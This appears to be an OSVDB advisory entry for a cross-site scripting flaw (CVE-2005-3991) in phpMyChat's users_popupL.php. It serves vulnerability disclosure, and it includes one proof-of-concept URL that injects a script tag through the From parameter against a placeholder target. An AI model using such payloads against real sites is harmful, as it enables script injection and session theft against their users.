phpMyChat users_popupL.php From Variable XSS

2005-12-01T16:51:01
ID OSVDB:21546
Type osvdb
Reporter OSVDB
Modified 2005-12-01T16:51:01

Description

Manual Testing Notes

http://[target]/phpmychat/chat/users_popupL.php?From="><script>alert(29837274289742472);</script>>&L=english&LastCheck=1133281246&B=0

References:

Vendor URL: http://phpmychat.sourceforge.net/ Related OSVDB ID: 21545 Related OSVDB ID: 21544 Mail List Post: http://archives.neohapsis.com/archives/bugtraq/2005-12/0017.html CVE-2005-3991 Bugtraq ID: 15679